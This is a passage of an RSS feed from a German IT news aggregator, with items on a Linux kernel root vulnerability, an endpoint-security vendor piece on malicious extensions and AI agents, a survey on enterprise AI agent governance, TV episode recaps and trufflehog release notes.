<guid isPermaLink="true">https://tsecurity.de/de/3692727/it-security-nachrichten/refluxfs-neue-xfs-kernel-schwachstelle-ermoeglicht-root-rechte-auf-betroffenen-rhel-installationen/</guid>
<pubDate>Sat, 25 Jul 2026 01:07:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/refluxfs-xfs-reflink-root-rhel-schwachstelle-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Kernel-Schwachstelle namens RefluXFS (CVE-2026-64600) erlaubt es lokalen Angreifern, auf bestimmten Systemen Root-Rechte zu erlangen. Entscheidend ist dabei XFS-Reflink-Unterstützung in Kombination mit einem speziellen Race-Condition-Fenster im Block-Layer. Besonders relevant sind Standardinstallationen von Red Hat Enterprise Linux und mehreren Derivaten, darunter Fedora Server und Amazon Linux. Wer nur anhand von “bisherige […]</p>
<div><a href="https://www.it-boltwise.de/refluxfs-neue-xfs-kernel-schwachstelle-ermoeglicht-root-rechte-auf-betroffenen-rhel-installationen.html">... den vollständigen Artikel <strong>»RefluXFS: Neue XFS-Kernel-Schwachstelle ermöglicht Root-Rechte auf betroffenen RHEL-Installationen«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/refluxfs-neue-xfs-kernel-schwachstelle-ermoeglicht-root-rechte-auf-betroffenen-rhel-installationen.html">RefluXFS: Neue XFS-Kernel-Schwachstelle ermöglicht Root-Rechte auf betroffenen RHEL-Installationen</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Laundry Bear gets the spin cycle.]]></title>
<description><![CDATA[Laundry Bear snuffles through unpatched Zimbra Collaboration servers. The State Department puts visa restrictions on cybercriminals. Oracle drops a record 1,449 security patches. Researchers disclose a critical vulnerability in OpenAI’s ChatGPT Workspace Agents. A new benchmark evaluates frontier...]]></description>
<link>https://tsecurity.de/de/3692479/it-security-nachrichten/laundry-bear-gets-the-spin-cycle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692479/it-security-nachrichten/laundry-bear-gets-the-spin-cycle/</guid>
<pubDate>Fri, 24 Jul 2026 22:38:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Laundry Bear snuffles through unpatched Zimbra Collaboration servers. The State Department puts visa restrictions on cybercriminals. Oracle drops a record 1,449 security patches. Researchers disclose a critical vulnerability in OpenAI’s ChatGPT Workspace Agents. A new benchmark evaluates frontier AI model malware reverse engineering. LunchPoke uses the Notepad++ application to establish persistence. A Swiss rail manufacturer refuses to pay the ransom. Dave Bittner sits down with Maria Varmazis, host of T-Minus Space Cyber Briefing, to discuss the show's evolution into CyberWire's weekly space cyber briefing. The AI goes to space.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Sugar’ Season 2, Episode 6 Recap: John Sugar Faces His Darkest Choice Yet]]></title>
<description><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length:...]]></description>
<link>https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</guid>
<pubDate>Fri, 24 Jul 2026 21:47:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length: Eight episodes



Season finale: August 7, 2026




Spoiler warning



The following section contains major spoilers from Sugar Season 2, Episode 6.



Sugar learns the truth about Operation Fire Sale



After hiding Ji Moon in a rehabilitation facility and arranging a fake death certificate, Sugar continues investigating the operation connected to Vega. He discovers that the conspiracy, known as Operation Fire Sale, extends far beyond the local drug trade.



The people behind the scheme plan to flood selected neighborhoods with cheap fentanyl. Once overdose deaths increase, someone inside the city alters the official records, allowing the victims to disappear from government systems. The group can then exploit housing grants and properties connected to those missing residents.



Sugar finally has evidence linking Vega to the operation. However, possessing the evidence does not immediately solve his problem because Vega remains determined to find Ji and silence him permanently.



Who is Peg Rosenthal?



The episode opens with a flashback from 11 years earlier, revealing the identity of the woman who has appeared in Sugar’s visions throughout the season.



Her name was Peg Rosenthal, another member of Sugar’s species who became deeply attached to human life. She enjoyed human food, relationships and money before becoming involved in financial crimes.



Sugar was ordered to collect Peg and send her home. During their journey, she warned him that becoming human was a slippery slope. Peg believed her actions had changed her so much that her people would never accept her again.



When Sugar briefly leaves to buy tissues, Peg covers herself and the vehicle in gasoline before taking her own life. Her death explains Sugar’s fear that his growing connection to humanity will eventually destroy him as well.



Sugar cannot bring himself to kill Vega



Sugar enters Vega’s apartment with a gun and appears ready to end the threat. However, he stops himself before pulling the trigger.



His hesitation becomes even more dangerous when Vega meets him later at the hotel bar. Sugar explains that Ji will remain silent, but Vega refuses to take the risk. He makes it clear that Ji cannot stay alive.



Sugar tells Vega that he had an opportunity to kill him earlier. Vega responds that Sugar should have taken it, leaving the two men heading toward an unavoidable confrontation.



Meanwhile, Sugar and Charlotte become closer, showing how quickly he continues to embrace human emotions and desires. With Ji still in hiding and Vega preparing his next move, Sugar has placed himself in too deep with nowhere safe left to go.



What do you think Sugar will do when Vega finally finds Ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Silo’ Season 3, Episode 4 Recap: Bernard’s Return Changes Everything]]></title>
<description><![CDATA[Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.



Warning: Major spoilers for Silo Season 3, Episode 4 follow.




Episode title: “Whatever You Do, Don’t Go Home”



Release...]]></description>
<link>https://tsecurity.de/de/3692379/ios-mac-os/silo-season-3-episode-4-recap-bernards-return-changes-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692379/ios-mac-os/silo-season-3-episode-4-recap-bernards-return-changes-everything/</guid>
<pubDate>Fri, 24 Jul 2026 21:28:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.



Warning: Major spoilers for Silo Season 3, Episode 4 follow.




Episode title: “Whatever You Do, Don’t Go Home”



Release date: July 24, 2026



Genre: Science fiction, drama and mystery



Season length: 10 episodes



Season 3 finale: September 4, 2026




Juliette escapes from Medical



The episode begins with Camille still determined to kill Juliette under the Algorithm’s instructions. Sims offers to handle the situation, although his true intentions remain difficult to understand.



Amy, the nurse caring for Juliette, turns against Camille’s plan. She sedates Emerson instead and helps Juliette escape from Medical. Amy also reveals that she had secretly replaced Juliette’s memory-suppressing medication before Juliette stopped taking the pills herself.



Amy allows the Raiders to capture her so Juliette can get away. Shirley later helps Juliette escape from Sims, believing that he plans to hurt her. However, his actions suggest that he may have been quietly helping Juliette all along.



Juliette discovers Bernard alive



Juliette asks Shirley to take her toward the sealed Digger Void. They discover that the entrance is not completely closed, allowing Juliette to continue down into a hidden section beneath the silo.



At the bottom, Juliette finds a small living area containing Bernard Holland. He is alive, heavily scarred and almost unrecognizable after the fire that supposedly killed him.



Sims previously claimed that Bernard had died and that his body had been destroyed. Bernard’s survival now raises major questions about Sims, Camille and the power struggle inside Silo 18. It also gives Juliette someone who understands the secrets behind the Algorithm and the larger silo system.



Billings investigates Orla’s murder



Elsewhere, Billings continues investigating Orla Kent’s death. He learns that rat poison did not kill her. Someone struck her with a piece of metal before hiding her body inside a closed tunnel.



Carla also disappears before she can meet Billings, while Mike and Glenda become possible suspects. The growing number of missing people suggests that someone is removing anyone connected to the silo’s hidden areas.



Daniel and Helen follow the conspiracy



In the earlier timeline, Daniel and Helen hide after discovering Steve’s damaged base and disappearance. Their only lead comes from a strange chess username that may contain a coded message.



Daniel contacts a Pentagon connection named Sam, while a government fixer pressures Helen to stop investigating. Sam eventually discovers something important, sending Daniel and Helen back into the conspiracy just before the episode ends.



Episode 4 leaves Juliette standing before one of the season’s biggest surprises. Bernard’s return can expose what Sims has been planning and reveal why Juliette’s memories were removed. What do you think Bernard will tell Juliette, and can she trust him after everything he did in previous seasons? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cape Fear Season 1 Episode 9 Ending Explained: Every Twist Before the Finale]]></title>
<description><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape ...]]></description>
<link>https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape Fear Episode 9, “The Scar.”




Finale release date: July 31, 2026



Episode title: “The Executioners”



Season length: 10 episodes



Genre: Psychological thriller and drama



Streaming platform: Apple TV



Main cast: Amy Adams, Javier Bardem, Patrick Wilson, Lily Collias, Joe Anders, CCH Pounder, Malia Pyles and Juliette Lewis




Where the Story Is Heading



Anna travelled to Cape Fear hoping to prove that Max Cady did not murder his wife, Melissa. She eventually discovered that Crystal killed Melissa out of jealousy and allowed Max to spend 17 years in prison for the crime.



Anna also learned that Luke, the scarred young man living with Crystal, is the child Crystal had with Max. After Crystal stabbed Anna, she escaped by jumping into the Cape Fear River. Meanwhile, Zack disappeared from the psychiatric facility, suggesting that Max has taken him as part of his final plan.



Max Cady



Max will probably take Zack to Cape Fear and use him to force Anna and Tom into a final confrontation. Although Max was wrongly imprisoned for Melissa’s murder, the finale is unlikely to excuse the violence and manipulation he has committed since his release.



Our prediction is that Max will die near the river, following the basic direction of earlier Cape Fear stories. Anna may kill him while protecting Zack or Natalie, completing the reversal from frightened victim to active survivor.



Anna Bowden



Anna now possesses the truth about Crystal, Luke and Melissa’s death. She will likely survive her injuries, return to Savannah and lead the effort to rescue Zack.



She may also expose Crystal as the real murderer, clearing Max’s name after his death. However, Anna could still face legal consequences for planting drugs in Max’s home and hiding parts of her relationship with him.



Tom Bowden



Tom remains in custody for Ray’s death, but Max’s involvement should eventually become clear. Tom will probably escape or receive temporary release before joining Anna at Cape Fear.



His marriage may survive the immediate crisis, although Anna’s history with Max and the question of Natalie’s biological father will leave lasting damage.



Natalie Bowden



Natalie has finally recognised how Max and Nevaeh manipulated her. She took Nevaeh’s hidden phone before Noa secured her release, giving the family valuable evidence about Max’s plans.



Natalie will likely help Noa trace Max and rescue Zack. She may also reject Max completely, regardless of whether his claim about being her biological father proves true.



Zack Bowden



Zack is in the greatest danger heading into the finale. Max has spent the season manipulating his mental health, religious beliefs and anger toward Tom.



Zack may initially follow Max willingly before realising that he has been used. We expect him to survive, although the finale could leave him responsible for seriously injuring or killing someone during the rescue.



Nevaeh Valentine



Nevaeh failed to kill Natalie and lost the secret phone she used to communicate with Max. She will probably turn against Max after recognising that he views her as another disposable part of his revenge plan.



She may confess, help investigators locate Zack or die while attempting to regain Max’s approval.



Noa Toussaint



Noa has become the Bowdens’ most reliable ally. She will likely use the phone Natalie stole to trace Max’s movements and lead the police toward Cape Fear.



Her arrival could stop Anna from killing Max in cold blood, although Max may force Anna to act before help reaches them.



Crystal and Luke



Crystal will probably follow Anna after escaping the boat, bringing Luke into the final conflict. Max may kill Crystal after learning that she murdered Melissa and allowed him to remain imprisoned.



Luke could attack Max or Crystal after discovering the full truth about his parents. He may survive as the final reminder of the abuse and secrecy running through the Cady family.



The Cape Fear finale has several mysteries left to answer, including Zack’s location, Natalie’s paternity and Max’s ultimate fate. What do you think will happen when the Bowdens and Cadys meet for the final time? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.96.0]]></title>
<description><![CDATA[What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache...]]></description>
<link>https://tsecurity.de/de/3692297/it-security-tools/v3960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692297/it-security-tools/v3960/</guid>
<pubDate>Fri, 24 Jul 2026 20:37:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[INS-355] Added Hashicorp vault token detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087349241" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4819" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4819/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4819">#4819</a></li>
<li>Tighten JiraToken v1 verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857561874" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5122" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5122/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5122">#5122</a></li>
<li>[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bill-rich/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bill-rich">@bill-rich</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858092823" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5123" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5123/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5123">#5123</a></li>
<li>Fix GitLab project metadata cache and switch to LRU by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890961533" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4727" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4727/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4727">#4727</a></li>
<li>Log analyze errors for Anthropic Analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4844292265" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5120" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5120/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5120">#5120</a></li>
<li>Add metrics for chunks and results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880771609" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5128" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5128/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5128">#5128</a></li>
<li>Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4817025959" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5111" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5111/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5111">#5111</a></li>
